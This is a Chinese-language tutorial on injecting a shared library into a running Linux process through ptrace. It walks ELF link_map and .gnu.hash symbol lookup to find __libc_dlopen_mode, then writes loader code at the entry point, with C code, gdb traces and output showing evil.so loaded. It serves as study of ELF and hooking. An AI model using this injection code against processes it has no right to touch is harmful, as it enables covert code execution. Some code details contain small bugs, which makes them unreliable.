動態so注入
在學習 hook
過程中, 有一個種方法是 PLT
注入, PLT
注入前的必要工作是需惡意的 so
注入, 找了很多關於注入的資料發現絕大部分實現都已經不適用, 幾個方面因素, 一部分是因為 ELF
文件結構變化, 一部分是因為 glibc
調用的函數改變, 另外有很多是由於注入位置不對導致不夠通用, 下面會詳細介紹幾種情況.
so
注入是對學習 ELF
結構極好的實踐.
本文中大部分 refs 和 一起文檔參考都在倉庫 pwn2exploit.
參考鏈接
ELF基礎
#包含新的.gnu.hash, 新的hash算法以及新的符號地址計算方法
ELF文件知識
#大部分ELF相關參考文檔都在 `refs/elf` 有包含, 比較多所以這里不重述, 只提幾個極為重要的參考文檔
#ELF標准文檔, 不包含 `.gnu.hash` 相關知識
https://refspecs.linuxbase.org/elf/elf.pdf
#詳細解釋.gnu.hash 相關知識
https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
#__kernel_vsyscall 介紹(這個在后面的代碼注入覆蓋了系統調用, 會有一個坑)
http://www.trilithium.com/johan/2005/08/linux-gate/
#內核 hash 和 bucket 相關概念
http://www.nowamagic.net/academy/detail/3008086
|
GDB/*技巧
#查看哪里觸發的 __kernel_vsyscall 系統函數調用(其中的2個地址為 __kernel_vsyscall 區間)
watch ($eip > 0xb770c418) && ($eip < 0xb770c42b)
#必備插件
peda
#查看系統arch相關常量
echo | gcc -E -dM - | grep 64
#查看ld詳細信息
ld --verbose
|
注入實例
#舊注入實例, 但是具有參考價值.
http://phrack.org/issues/59/8.html#article(國內很多文章都是參考這篇)
http://www.cnblogs.com/LittleHann/p/4594641.html(針對phrack的翻譯)
http://grip2.blogspot.jp/2006/12/blog-post.html(針對phrack的翻譯)
#可用注入實例, 但注入方法有限制, 並且注入位置不對只能在特定情況進行注入
https://github.com/gaffe23/linux-inject
#沒有采用代碼注入, 采用的是修改寄存器的eip到指定函數地址, 動態加載函數不再適用
http://www.xfocus.net/articles/200208/438.html
|
注入理論
其實本質就一句話, “調用dlopen加載外部so文件”, 或者說就一句代碼 dlopen("evil.so",RTLD_LAZY);
. 但是顯然不可能對正在執行的程序執行 dlopen
操作, 所以:
問題1:如何能夠接觸到正在執行進程的內存空間.
通過 ptrace
, ptrace
可以讓目標 pid
進程成為當前進程的子進程, 進而可以訪問目標進程的內存空間, 寄存器, 並且可以向目標內存空間寫內容. 需要了解 ptrace
函數的幾個關鍵宏.
參考鏈接 https://linux.die.net/man/2/ptrace
PTRACE_ATTACH 掛載目標pid
PTRACE_CONT 讓子程序繼續運行
PTRACE_PEEKTEXT 讀取內容
PTRACE_POKETEXT 寫入內容
|
ok, 現在既然已經可以讀寫目標進程的內存空間了, 下一步已經就是在目標內存空間調用 dlopen
.既然要調用 dlopen
, 肯定需要 dlopen
函數符號的地址. 但是默認 libc-2.19.so
是不包含 dlopen
, 只有 __libc_dlopen_mode
.
➜ elf readelf --dyn-syms /lib/i386-linux-gnu/libdl.so.2 | grep dlopen
29: 00000d30 101 FUNC GLOBAL DEFAULT 13 dlopen@@GLIBC_2.1
30: 00001900 108 FUNC GLOBAL DEFAULT 13 dlopen@GLIBC_2.0
➜ elf readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep dlopen
2294: 00123ae0 91 FUNC GLOBAL DEFAULT 12 __libc_dlopen_mode@@GLIBC_PRIVATE
|
這兩個函數實現的是一樣的效果, 其最終都是調用的 _dl_open
, 可以通過 glic
源碼查看相關調用過程, 因此可以通過 void * __libc_dlopen_mode (const char *name, int mode)
加載外部so. 所以現在現在的問題是:
問題2: __libc_dlopen_mode
的內存地址是多少(如何查找)
有一種方法是, 通過查看 cat /proc/1234/maps
的加載地址, 加上函數符號在文件中的偏移來得到, 這里並不打算采用這種方法, 而是通過解析 ELF
文件結構得到 __libc_dlopen_mode
函數符號的地址. (這里需要比較多的 ELF
的文件結構的知識, 可以參考前面的\<elf文件知識\>)
ok, 先介紹幾個關於 ELF
的結構體, 這些結構體都在 eglibc-2.19/elf/elf.h
有相應的定義, 實在是不想貼所有結構體的定義, 但是如果不貼又對整個不太好理解.
//eglibc-2.19/elf/link.h
/* Structure describing a loaded shared object. The `l_next' and `l_prev'
members form a chain of all the shared objects loaded at startup.
These data structures exist in space used by the run-time dynamic linker;
modifying them may have disastrous results. */
struct link_map
{
/* These first few members are part of the protocol with the debugger.
This is the same format used in SVR4. */
//共享庫加載地址
ElfW(Addr) l_addr; /* Difference between the address in the ELF
file and the addresses in memory. */
//共享庫名稱, 絕對路徑
char *l_name; /* Absolute file name object was found in. */
//動態鏈接section的地址
ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */
struct link_map *l_next, *l_prev; /* Chain of loaded objects. */
}
|
link_map
的作用就是記錄程序加載的所有共享庫的鏈表, 當需要查找符號時就需要遍歷該鏈表找到對應的共享庫.
//http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/elf.h?view=markup
//eglibc-2.19/elf/elf.h
ignore...
|
Elf32_Ehdr
是 ELF
頭, 注入需要使用 Elf32_Ehdr->e_phoff
取得正在執行進程的 Program header table
.
這里需要注意的, ELF
文件是按照 Segment
加載到內存中, 只會加載 $ readelf -l test
中的對應 section
, 而比如 section header table
是不會被加載的, 通過查看 section header table
並不在 $ readelf -l test
內存映射的區間之內驗證, 所以是不能通過 section header table
對執行中的進程進行解析.
Elf32_Phdr
是 ELF
的 Segment
對應結構, Segment
是相似屬性的 section
集合, 僅是概念性的划分. 關於 segment
的內存頁對齊等細節, 這里不進行詳細介紹, 如有興趣請參考 \<程序員自我修養>. 注入需要使用 Elf32_Phdr->p_type
和 Elf32_Phdr->p_vaddr
, 判斷並取得 Dynamic Segment
.
Elf32_Dyn
是有關動態鏈接的 section
結構, 屬於 Dynamic Segment
, so
注入需要根據它取得所需要的 section
.
Elf32_Sym
是符號表的結構體, 需要根據 Elf32_Sym->st_name
拿到該符號在 .dynstr
對應的位置.
ok, 到目前為止幾個我們需要使用的結構體都大致簡單介紹了下. 下面開始具體的符號的地址查找過程.
因為 __libc_dlopen_mode
是在 libc.so.6
動態庫中, 所以需要先找到 libc.so.6
, 在介紹 link_map
時說過, 它記錄目標進程加載的所有的動態庫, 所以只要遍歷 link_map
就可以找到 libc.so.6
. 所以現在的問題是:
問題3: 如何找到 link_map
地址
link_map
位於 .got.plt
表的第 2 位置(請查看關於 ELF
文件結構的知識), 而 .got.plt
表的地址位於 Elf32_Dyn->d_tag == DT_PLTGOT
的 Elf32_Dyn
中, ·而 Dynamic Segment
的地址位於 Elf32_Phdr->p_type == PT_DYNAMIC
的 Elf32_Phdr
中, 而 Program header table
的地址位於 Elf32_Ehdr->e_phoff
, 這樣就可以逆轉整個過程, 以取得 link_map
的地址.
struct link_map *
locate_linkmap(int pid)
{
ElfW(Ehdr) ehdr;
ElfW(Phdr) phdr;
ElfW(Dyn) dyn;
struct link_map *l = malloc(sizeof(struct link_map));
ElfW(Addr) phdr_addr , dyn_addr , map_addr, gotplt_addr, text_addr;
ptrace_read(pid, PROGRAM_LOAD_ADDRESS, &ehdr , sizeof(ElfW(Ehdr)));
phdr_addr = PROGRAM_LOAD_ADDRESS + ehdr.e_phoff;
ptrace_read(pid , phdr_addr, &phdr , sizeof(ElfW(Phdr)));
while ( phdr.p_type != PT_DYNAMIC ) {
ptrace_read(pid, phdr_addr += sizeof(ElfW(Phdr)), &phdr, sizeof(ElfW(Phdr)));
}
/* now go through dynamic section until we find address of GOT.PLT */
ptrace_read(pid, phdr.p_vaddr, &dyn, sizeof(ElfW(Dyn)));
dyn_addr = phdr.p_vaddr;
while ( dyn.d_tag != DT_PLTGOT ) {
ptrace_read(pid, dyn_addr += sizeof(ElfW(Dyn)), &dyn, sizeof(ElfW(Dyn)));
}
/* link_map address, .got.plt address */
gotplt_addr = dyn.d_un.d_ptr;
/* now just read first link_map item and return it */
ptrace_read(pid, gotplt_addr + sizeof(ElfW(Addr)), &map_addr , sizeof(ElfW(Addr)));
ptrace_read(pid , map_addr, l , sizeof(struct link_map));
return l;
}
|
ok, 現在我們已經找到對應的動態庫的 link_map
, 現在我們就需要從 link_map
, 找到 __libc_dlopen_mode
函數符號的地址, 所以現在的問題是:
問題4: 如何根據 符號名字符串
和 link_map
找符號的內存地址
當然可以通過 $ readelf --dyn-syms /lib/i386-linux-gnu/libc-2.19.so | grep __libc_dlopen_mode
找到函數符號在文件中的偏移加上動態庫的加載地址, 就可以得到該符號的在內存中的地址. 這種方式並不通用, 比如: so
文件丟失, 不存在 readelf
命令.
ok, 那么現在的方法就是遍歷 .dynsym
表, 查找符號名稱為 __libc_dlopen_mode
的 Elf32_Sym
(其實是查找Elf32_Sym->st_name
在 .dynstr
中的索引對應的字符串). ** 然而 .dynsym
的長度是多少, 或者說遍歷停止的條件? **.如果要得到 .dynsym
的長度, 也只能讀 so
文件, 根據一些沒有加載到內存中的但是存在於文件中的內容解析, 比如: 根據 section header table
找到 .dynsym
的 Elf32_Shdr
結構, Elf32_Shdr->sh_size /Elf32_Shdr->sh_entsize
即為符號表的長度. 所以這種方法也不可行.
ok, 另一種方法就是根據 glibc
中的方法進行查找符號地址, 這里需要用 .gnu.hash
表, 同時在 glibc
中 利用 _dl_lookup_symbol_x -> do_lookup_x
進行函數符號的地址查找, 關於 .gnu.hash
的詳細介紹, 請參考 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
, 這里簡單提一下, ELF
在加載動態庫時並不是直接全部解析出所有符號的地址, 而是通過 PLT
延遲加載的方式, 在執行的過程中通過查找符號的地址, 這需要利用 .gnu.hash
進行 hash
算法快速查找. 建議先閱讀參考文檔中關於 .gnu.hash
的介紹, 以及了解關於如何利用 hash桶
的方法解決 hash
沖突.
下面是 glibc
在進行符號查找一段核心代碼, 位於 eglibc-2.19/elf/dl-lookup.c
中的 do_lookup_x
函數中.
//http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/libc/elf/dl-lookup.c?view=markup
//eglibc-2.19/elf/dl-lookup.c
const ElfW(Sym) *sym;
const ElfW(Addr) *bitmask = map->l_gnu_bitmask;
if (__builtin_expect (bitmask != NULL, 1))
{
ElfW(Addr) bitmask_word
= bitmask[(new_hash / __ELF_NATIVE_CLASS)
& map->l_gnu_bitmask_idxbits];
unsigned int hashbit1 = new_hash & (__ELF_NATIVE_CLASS - 1);
unsigned int hashbit2 = ((new_hash >> map->l_gnu_shift)
& (__ELF_NATIVE_CLASS - 1));
if (__builtin_expect ((bitmask_word >> hashbit1)
& (bitmask_word >> hashbit2) & 1, 0))
{
Elf32_Word bucket = map->l_gnu_buckets[new_hash
% map->l_nbuckets];
if (bucket != 0)
{
const Elf32_Word *hasharr = &map->l_gnu_chain_zero[bucket];
do
if (((*hasharr ^ new_hash) >> 1) == 0)
{
symidx = hasharr - map->l_gnu_chain_zero;
sym = check_match (&symtab[symidx]);
if (sym != NULL)
goto found_it;
}
while ((*hasharr++ & 1u) == 0);
}
}
/* No symbol found. */
symidx = SHN_UNDEF;
}
|
這里有點坑, 就是此時 link_map
結構並非 #include <link.h>
中的結構, 在 eglibc-2.19/include/link.h
中有這么一段代碼:
#define link_map link_map_public
#define la_objopen la_objopen_wrongproto
#include <elf/link.h>
#undef link_map
#undef la_objope
|
所以需要我們自己去構造這些結構體變量的成員, 構造的方法可以參考 eglibc-2.19/elf/dl-lookup.c
中 _dl_setup_hash
函數. 這里附上一段代碼作為參考
void
internal_function
_dl_setup_hash (struct link_map *map)
{
Elf_Symndx *hash;
if (__builtin_expect (map->l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM
+ DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM] != NULL, 1))
{
Elf32_Word *hash32
= (void *) D_PTR (map, l_info[DT_ADDRTAGIDX (DT_GNU_HASH) + DT_NUM
+ DT_THISPROCNUM + DT_VERSIONTAGNUM
+ DT_EXTRANUM + DT_VALNUM]);
map->l_nbuckets = *hash32++;
Elf32_Word symbias = *hash32++;
Elf32_Word bitmask_nwords = *hash32++;
/* Must be a power of two. */
/* Important!!! */
assert ((bitmask_nwords & (bitmask_nwords - 1)) == 0);
map->l_gnu_bitmask_idxbits = bitmask_nwords - 1;
map->l_gnu_shift = *hash32++;
map->l_gnu_bitmask = (ElfW(Addr) *) hash32;
hash32 += __ELF_NATIVE_CLASS / 32 * bitmask_nwords;
map->l_gnu_buckets = hash32;
hash32 += map->l_nbuckets;
map->l_gnu_chain_zero = hash32 - symbias;
return;
}
if (!map->l_info[DT_HASH])
return;
hash = (void *) D_PTR (map, l_info[DT_HASH]);
map->l_nbuckets = *hash++;
/* Skip nchain. */
hash++;
map->l_buckets = hash;
hash += map->l_nbuckets;
map->l_chain = hash;
}
|
這里算法不進行具體的解釋, 可以參考下文的對應的實現, 這題提一下本來是參照 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections
實現的符號查找算法, 但總感覺不太標准, 就又按照 glibc
實現了一遍, 本質大同小異, 會在代碼中做一些對比說明.
這里另外提兩點關於 glibc
中代碼實現風格的, 1. 在 glibc
實現關於符號的符號查找的 hash
算法的過程中大量利用了 移位代替取模
, 比如上面的 bitmask_nwords Must be a power of two
. 這點在下文的具體算法的實現中會有體現. 2. 在 glibc
中大量使用宏來處理不同處理器的兼容性問題, 比如 ElfW(Addr)
, ElfW
的定義是:
// #include <bits/elfclass.h>
#define __ELF_NATIVE_CLASS 32
// #include <link.h>
#include <bits/elfclass.h>
#define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t
|
__ELF_NATIVE_CLASS
定義當前機子的字長, 這樣 ElfW(Addr)
就被解析為 Elf32_Addr
或者 Elf64_Addr
, 最后根據 #include <elf.h>
定義的類型來做處理.
ok, 先放出來關於 setup_hash
的實現, 作用就是在解析 Dynamic Segment
的過程中順便完善 link_map
結構, 方便下文的 hash
算法的使用.
void
setup_hash(int pid, struct link_map *map, struct link_map_more *map_more) {
Elf32_Word *gnu_hash_header = (Elf32_Word *)malloc(sizeof(Elf32_Word) * 4);
ptrace_read(pid, map_more->gnuhash_addr, gnu_hash_header, sizeof(Elf32_Word) * 4);
// .gnu.hash
map_more->nbuckets =gnu_hash_header[0];
map_more->symndx = gnu_hash_header[1];
map_more->nmaskwords = gnu_hash_header[2];
map_more->shift2 = gnu_hash_header[3];
map_more->bitmask_addr = map_more->gnuhash_addr + 4 * sizeof(Elf32_Word);
map_more->hash_buckets_addr = map_more->bitmask_addr + map_more->nmaskwords * sizeof(ElfW(Addr));
map_more->hash_values_addr = map_more->hash_buckets_addr + map_more->nbuckets * sizeof(Elf32_Word);
}
|
這里根據 .gnu.hash
的結構進行解析, 應該沒有什么問題.
ok, 再放出關於符號查找 hash
算法的具體, 這里整個的核心.
//eglibc-2.19/elf/dl-lookup.c
unsigned long
dl_new_hash (const char *s)
{
unsigned long h = 5381;
unsigned char c;
for (c = *s; c != '\0'; c = *++s)
h = h * 33 + c;
return h & 0xffffffff;
}
/* seach symbol name in elf(so) */
ElfW(Sym) *
symhash(int pid, struct link_map_more *map_more, const char *symname)
{
unsigned long c;
Elf32_Word new_hash, h2;
unsigned int hb1, hb2;
unsigned long n;
Elf_Symndx symndx;
ElfW(Addr) bitmask_word;
ElfW(Addr) addr;
ElfW(Addr) sym_addr;
ElfW(Addr) hash_addr;
char symstr[256];
ElfW(Sym) * sym = malloc(sizeof(ElfW(Sym)));
new_hash = dl_new_hash(symname);
/* new-hash % __ELF_NATIVE_CLASS */
hb1 = new_hash & (__ELF_NATIVE_CLASS - 1);
hb2 = (new_hash >> map_more->shift2) & (__ELF_NATIVE_CLASS - 1);
printf("[*] start gnu hash search:\n\tnew_hash: 0x%x(%u)\n", symname, new_hash, new_hash);
/* ELFCLASS size */
//__ELF_NATIVE_CLASS
/* nmaskwords must be power of 2, so that allows the modulo operation */
/* ((new_hash / __ELF_NATIVE_CLASS) % maskwords) */
n = (new_hash / __ELF_NATIVE_CLASS) & (map_more->nmaskwords - 1);
printf("\tn: %lu\n", n);
/* Use hash to quickly determine whether there is the symbol we need */
addr = map_more->bitmask_addr + n * sizeof(ElfW(Addr));
ptrace_read(pid, addr, &bitmask_word, sizeof(ElfW(Addr)));
/* eglibc-2.19/elf/dl-loopup.c:236 */
/* https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections */
/* different method same result */
if(((bitmask_word >> hb1) & (bitmask_word >> hb2) & 1) == 0)
return NULL;
/* The first index of `.dynsym` to the bucket .dynsym */
addr = map_more->hash_buckets_addr + (new_hash % map_more->nbuckets) * sizeof(Elf_Symndx);
ptrace_read(pid, addr, &symndx, sizeof(Elf_Symndx));
printf("\thash buckets index: 0x%x(%u), first dynsym index: 0x%x(%u)\n", (new_hash % map_more->nbuckets), (new_hash % map_more->nbuckets), symndx, symndx);
if(symndx == 0)
return NULL;
sym_addr = map_more->dynsym_addr + symndx * sizeof(ElfW(Sym));
hash_addr = map_more->hash_values_addr + (symndx - map_more->symndx) * sizeof(Elf32_Word);
printf("[*] start bucket search:\n");
do
{
ptrace_read(pid, hash_addr, &h2, sizeof(Elf32_Word));
printf("\th2: 0x%x(%u)\n", h2, h2);
/* 1. hash value same */
if(((h2 ^ new_hash) >> 1) == 0) {
sym_addr = map_more->dynsym_addr + ((map_more->symndx + (hash_addr - map_more->hash_values_addr) / sizeof(Elf32_Word)) * sizeof(ElfW(Sym)));
/* read ElfW(Sym) */
ptrace_read(pid, sym_addr, sym, sizeof(ElfW(Sym)));
addr = map_more->dynstr_addr + sym->st_name;
/* read string */
ptrace_read(pid, addr, symstr, sizeof(symstr));
/* 2. name same */
if(!strcmp(symname, symstr))
return sym;
}
hash_addr += sizeof(sizeof(Elf32_Word));
} while((h2 & 1u) == 0); // search in same bucket
return NULL;
}
|
這里介紹下上面算法的流程
首先需要利用 bitmask
根據 Bloom Filter(布隆過濾器)
判斷是否存在於符號表, 這里先放出 wiki 的參考鏈接 Bloom Filter, 這里簡單介紹下 Bloom Filter
, 它可以在常量時間內判斷 hash_value
是否存在於 hash_values_buckets
, 但是它是有誤差的, 也就是說如果 Bloom Filter
判斷出不存在就是一定不在, 但是如果判斷存在則可能存在, 僅僅是可能存在, 原因就是因為 hash
沖突的存在, 具體參考下 Bloom Filter
的原理.
接下來就是根據該符號的 hash value
, 確定該符號在哪一個 bucket
, 找到該 bucket(桶)
內第一個符號結構, 之后便開始在桶內進行符號查找.
接下來就是桶內查找, 需要滿足兩個條件, 1. hash value
相同 2. 字符串相同.
剩下的大家可以通過閱讀來具體理解下, 大部分我都加了注釋.
ok, 到這一步, 就可以拿到 __libc_dlopen_mode
的地址了, 然后下一步的問題就是:
問題5: 如何調用 __libc_dlopen_mode
?
大概有兩種思路, 單純依靠寄存器 eip
修改執行位置, 其他寄存器傳參數, 這個方法在之前 _dl_open
是被定義為 internal_function
, 也就是通過寄存器傳參, 但是對於 __libc_dlopen_mode
已經不是寄存器傳遞參數. 另一個就是注入一段代碼, 執行這段代碼, 通過正常的函數調用方法調用 __libc_dlopen_mode
, 執行完畢后恢復這段內存原始代碼, 這里主要分析下第二種方法.
既然采用注入代碼方法, 那么問題就來了, 代碼應該注入到哪里? 可能首先想到的就是注入到當前 %eip
的位置, 因為畢竟運行后會恢復為原始內存, 但是有一個問題就是, 假如被覆蓋的這塊內存在執行的過程中需要被二次使用怎么辦, 此時內存代碼已經不是原來的代碼, 並且還有沒有被恢復? 這就是上面說的這種注入方法存在局限性.
這里先給大家放一段目前普遍采用的注入方式, 也就是注入到當前 %eip
的位置, 並為大家復現這個情況.
這里采用手動注入一段代碼的方式, 用 gdb attach
該進程.
#include <stdio.h>
int main()
{
char *evilso = "/vagrant/inject/evil.so";
while(1)
{
printf("Going to sleep...\n");
sleep(3);
printf("Wake up\n");
}
return 0;
}
|
下面就是相關的分析過程,
# 當前gdb掛載點
gdb-peda$ disassemble
Dump of assembler code for function __kernel_vsyscall:
0xb7700418 <+0>: push ecx
0xb7700419 <+1>: push edx
0xb770041a <+2>: push ebp
0xb770041b <+3>: mov ebp,esp
0xb770041d <+5>: sysenter
0xb770041f <+7>: nop
0xb7700420 <+8>: nop
0xb7700421 <+9>: nop
0xb7700422 <+10>: nop
0xb7700423 <+11>: nop
0xb7700424 <+12>: nop
0xb7700425 <+13>: nop
0xb7700426 <+14>: int 0x80
=> 0xb7700428 <+16>: pop ebp
0xb7700429 <+17>: pop edx
0xb770042a <+18>: pop ecx
0xb770042b <+19>: ret
End of assembler dump.
gdb-peda$ disassemble main
Dump of assembler code for function main:
0x0804844d <+0>: push ebp
0x0804844e <+1>: mov ebp,esp
0x08048450 <+3>: and esp,0xfffffff0
0x08048453 <+6>: sub esp,0x20
0x08048456 <+9>: mov DWORD PTR [esp+0x1c],0x8048520
0x0804845e <+17>: mov DWORD PTR [esp],0x8048538
0x08048465 <+24>: call 0x8048320 <puts@plt>
0x0804846a <+29>: mov DWORD PTR [esp],0x3
0x08048471 <+36>: call 0x8048310 <sleep@plt>
0x08048476 <+41>: mov DWORD PTR [esp],0x804854a
0x0804847d <+48>: call 0x8048320 <puts@plt>
0x08048482 <+53>: jmp 0x804845e <main+17>
End of assembler dump.
#找到需要加載的so的路徑參數
gdb-peda$ x/s 0x8048520
0x8048520: "/vagrant/inject/evil.so"
#找到__libc_dlopen_mode函數符號的地址
gdb-peda$ x/i __libc_dlopen_mode
0xb7675ae0 <__libc_dlopen_mode>: push esi
#手動代碼注入后是下面的peda顯示, 注意 `ebx`, 當前 `eip` 的內容, 棧的內容的變化.
[----------------------------------registers-----------------------------------]
EAX: 0xfffffdfc
EBX: 0xb7675ae0 (<__libc_dlopen_mode>: push esi)
ECX: 0xbf81f9bc --> 0x2
EDX: 0xb76fd000 --> 0x1aada8
ESI: 0x0
EDI: 0xbf81fa44 --> 0x0
EBP: 0xbf81f9c4 --> 0x10000
ESP: 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so")
EIP: 0xb770b428 (<__kernel_vsyscall+16>: call ebx)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb770b424 <__kernel_vsyscall+12>: nop
0xb770b425 <__kernel_vsyscall+13>: nop
0xb770b426 <__kernel_vsyscall+14>: int 0x80
=> 0xb770b428 <__kernel_vsyscall+16>: call ebx
0xb770b42a <__kernel_vsyscall+18>: add BYTE PTR [eax],al
0xb770b42c: add BYTE PTR [esi],ch
0xb770b42e: jae 0xb770b498
0xb770b430: jae 0xb770b4a6
Guessed arguments:
arg[0]: 0x8048520 ("/vagrant/inject/evil.so")
arg[1]: 0x1
[------------------------------------stack-------------------------------------]
0000| 0xbf81f97c --> 0x8048520 ("/vagrant/inject/evil.so")
0004| 0xbf81f980 --> 0x1
0008| 0xbf81f984 --> 0xbf81f9bc --> 0x2
0012| 0xbf81f988 --> 0xb7607b70 (<nanosleep+32>: mov ebx,edx)
0016| 0xbf81f98c --> 0xb760793d (<sleep+205>: test eax,eax)
0020| 0xbf81f990 --> 0xbf81f9bc --> 0x2
0024| 0xbf81f994 --> 0xbf81f9bc --> 0x2
0028| 0xbf81f998 --> 0x0
[------------------------------------------------------------------------------]
#這里我們再加一個watchpoint, 需要監視哪個函數再一次調用了 __kernel_vsyscall, 這段技巧在上面也提到過.
watch ($eip > 0xb7700418) && ($eip < 0xb770042b)
#繼續執行 等待觸發watchpoint, 查看調用棧, 發現
gdb-peda$ bt
#0 0xb7735418 in __kernel_vsyscall ()
#1 0xb765efde in brk () from /lib/i386-linux-gnu/libc.so.6
#2 0xb765f084 in sbrk () from /lib/i386-linux-gnu/libc.so.6
#3 0xb75f4ccf in __default_morecore () from /lib/i386-linux-gnu/libc.so.6
#4 0xb75f1352 in ?? () from /lib/i386-linux-gnu/libc.so.6
#5 0xb75f2888 in malloc () from /lib/i386-linux-gnu/libc.so.6
#6 0xb75f295f in malloc () from /lib/i386-linux-gnu/libc.so.6
#7 0xb773b026 in local_strdup (s=s@entry=0x8048520 "/vagrant/inject/evil.so")
at dl-load.c:162
#8 0xb773d4d0 in expand_dynamic_string_token (l=l@entry=0xb7757c28,
s=s@entry=0x8048520 "/vagrant/inject/evil.so", is_path=is_path@entry=0x0)
at dl-load.c:429
#9 0xb773e0dc in _dl_map_object (loader=loader@entry=0xb7757c28,
name=name@entry=0x8048520 "/vagrant/inject/evil.so", type=type@entry=0x2,
trace_mode=trace_mode@entry=0x0, mode=mode@entry=0x10000001, nsid=0x0)
at dl-load.c:2538
#10 0xb7748c14 in dl_open_worker (a=0xbfc39228) at dl-open.c:235
#11 0xb7744c06 in _dl_catch_error (objname=objname@entry=0xbfc39220,
errstring=errstring@entry=0xbfc39224, mallocedp=mallocedp@entry=0xbfc3921f,
operate=operate@entry=0xb7748b50 <dl_open_worker>, args=args@entry=0xbfc39228)
at dl-error.c:187
#12 0xb7748644 in _dl_open (file=0x8048520 "/vagrant/inject/evil.so", mode=0x1,
caller_dlopen=0xb773542a <__kernel_vsyscall+18>, nsid=<optimized out>,
argc=0x1, argv=0xbfc396a4, env=0xbfc396ac) at dl-open.c:661
#13 0xb769f9ab in ?? () from /lib/i386-linux-gnu/libc.so.6
#14 0xb7744c06 in _dl_catch_error (objname=0xbfc39394, errstring=0xbfc39398,
mallocedp=0xbfc39393, operate=0xb769f950, args=0xbfc393cc) at dl-error.c:187
#15 0xb769fa9b in ?? () from /lib/i386-linux-gnu/libc.so.6
#16 0xb769fb21 in __libc_dlopen_mode () from /lib/i386-linux-gnu/libc.so.6
#17 0xb773542a in __kernel_vsyscall ()
#18 0xbfc3942c in ?? ()
#19 0x00000000 in ?? ()
# 繼續執行失敗
|
ok, 這也就不難發現, 為什么說現在的絕大部分注入都是有限制的, 當我們在系統中斷函數進行代碼注入, 導致在 __libc_dlopen_mode
執行過程中需要調用 malloc
(eglibc-2.19/elf/dl-lookup.c
中 local_strdup
)進行堆空間分配, 但由於此時沒有cache, 因而需要觸發系統調用使用 brk
分配一塊堆內存, 這一塊具體查看linux內存分配相關的文章, <程序員的自我修養>
簡單提到過一些關於 malloc
堆內存分配.
ok, 現在問題復現了, 需要采用其他方法進行注入, 這里采用的是將代碼注入到程序入口點位置, 然后修改 %eip
為程序入口點位置, 這樣就不會存在影響, 或者查找一塊連續的 nop
內存塊進行注入. 這里直接注入到程序入口點位置.
void
inject_code(int pid, char *evilso, ElfW(Addr) dlopen_addr) {
struct user_regs_struct regz, regzbak;
unsigned long len;
unsigned char *backup = NULL;
unsigned char *loader = NULL;
ElfW(Addr) entry_addr;
setaddr(soloader + 12, dlopen_addr);
entry_addr = locate_start(pid);
printf("[+] entry point: 0x%x\n", entry_addr);
len = sizeof(soloader) + strlen(evilso);
loader = malloc(sizeof(char) * len);
memcpy(loader, soloader, sizeof(soloader));
memcpy(loader+sizeof(soloader) - 1 , evilso, strlen(evilso));
backup = malloc(len + sizeof(ElfW(Word)));
ptrace_read(pid, entry_addr, backup, len);
if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1);
if(ptrace(PTRACE_GETREGS , pid , NULL , ®zbak) < 0) exit(-1);
printf("[+] stopped %d at eip:%p, esp:%p\n", pid, regz.eip, regz.esp);
/* `eip` points to the next instruction, so current instruction is `entry_addr` */
regz.eip = entry_addr + 2;
/* code inject */
ptrace_write(pid, entry_addr, loader, len);
/* set eip as entry_point */
ptrace(PTRACE_SETREGS , pid , NULL , ®z);
ptrace_cont(pid);
if(ptrace(PTRACE_GETREGS , pid , NULL , ®z) < 0) exit(-1);
printf("[+] inject code done %d at eip:%p\n", pid, regz.eip);
/* restore backup data */
// ptrace_write(pid,entry_addr, backup, len);
ptrace(PTRACE_SETREGS , pid , NULL , ®zbak);
}
|
至此所有問題得到解答, so
注入完成, 程序已經上傳到 github
.
➜ inject gcc -w -o inject /vagrant/inject/inject.c /vagrant/inject/utils.c && sudo ./inject 24506 /vagrant/inject/evil.so
attached to pid 24506
[*] start search '__libc_dlopen_mode':
----------------------------------------------------------------
[+] libaray path: /lib/i386-linux-gnu/libc.so.6
[+] gnu.hash:
nbuckets: 0x3f3
symndx: 0xa
nmaskwords: 0x200
shift2: 0xe
bitmask_addr: 0xb75281c8
hash_buckets_addr: 0xb75289c8
bitmask_addr: 0xb75281c8 [0/1762]
hash_buckets_addr: 0xb75289c8
hash_values_addr: 0xb7529994
[+] dynstr: 0xb7535474
[+] dynysm: 0xb752bed4
[+] soname: libc.so.6
[*] start gnu hash search:
new_hash: 0x8049891(4073429154)
n: 197
hash buckets index: 0x3c6(966), first dynsym index: 0x8f5(2293)
[*] start bucket search:
h2: 0xd5e07632(3588257330)
h2: 0xf2cb98a2(4073429154)
----------------------------------------------------------------
[+] Found '__libc_dlopen_mode' at 0xb764bae0
[+] entry point: 0x8048350
[+] stopped 24506 at eip:0xb76e1428, esp:0xbfec2fec
[+] inject code done 24506 at eip:0x8048366
[*] start search 'evilfunc':
----------------------------------------------------------------
[+] libaray path: /vagrant/inject/evil.so
[+] gnu.hash:
nbuckets: 0x3
symndx: 0x7
nmaskwords: 0x2
shift2: 0x6
bitmask_addr: 0xb76db148
hash_buckets_addr: 0xb76db150
hash_values_addr: 0xb76db15c
[+] dynstr: 0xb76db244
[+] dynysm: 0xb76db174
[*] start gnu hash search:
new_hash: 0x80498ec(701380385)
n: 1
hash buckets index: 0x2(2), first dynsym index: 0xb(11)
[*] start bucket search:
h2: 0x29ce3720(701380384)
----------------------------------------------------------------
[+] Found 'evilfunc' at 0xb76db53b
[*] lib injection done!
#查看pid對應maps可以查看到已經加載了惡意的so
➜ inject cat /proc/24506/maps
